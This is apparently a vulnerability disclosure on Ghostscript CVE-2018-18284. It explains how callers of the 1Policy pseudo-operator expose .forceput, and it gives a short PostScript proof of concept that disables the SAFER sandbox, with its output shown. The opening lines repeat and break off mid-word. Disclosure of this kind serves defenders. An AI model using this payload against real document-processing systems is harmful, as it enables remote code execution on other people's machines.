ghostscript: 1Policy is a dangerous operator, but callers are not odef

CVE-2018-18284


This operator from gs_setpd.gs is correctly marked as executeonly and marked as a pse ghostscript: 1Policy is a dangerous operator, but callers are not odef

CVE-2018-18284


This operator from gs_setpd.gs is correctly marked as executeonly and marked as a pseudo-operator (odef):

% Apply Policies to any unprocessed failed requests.
% As we process each request entry, we replace the error name
% in the <failed> dictionary with the policy value,
% and we replace the key in the <merged> dictionary with its prior value
% (or remove it if it had no prior value).

% Making this an operator means we can properly hide
% the contents - specifically .forceput
/1Policy
{
% Roll back the failed request to its previous status.
SETPDDEBUG { (Rolling back.) = pstack flush } if
3 index 2 index 3 -1 roll .forceput
4 index 1 index .knownget
{ 4 index 3 1 roll .forceput }
{ 3 index exch .undef }
ifelse
} bind executeonly odef


But the operator itself doesn't do very much except for pass the parameters to .forceput, therefore any procedure that calls this pseudo-operator should itself be a pseudo-operator (I know, I know, this is some arcane postscript).

Because the callers are not executeonly or pseudo-operators, we can just extract a reference to it and take complete control of ghostscript:

GS>/.forceput { <<>> <<>> 4 index (ignored) 5 index 5 index .policyprocs 1 get exec pop pop pop pop pop pop pop } def
GS>systemdict /SAFER false .forceput
GS>SAFER ==
false

For a full exploit once you have .forceput, see <a href="/p/project-zero/issues/detail?id=1682" title="ghostscript: executeonly bypass with errorhandler setup" class="closed_ref" rel="nofollow"> bug 1682 </a>.

This is a critical remote code execution vulnerability.

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.




Found by: taviso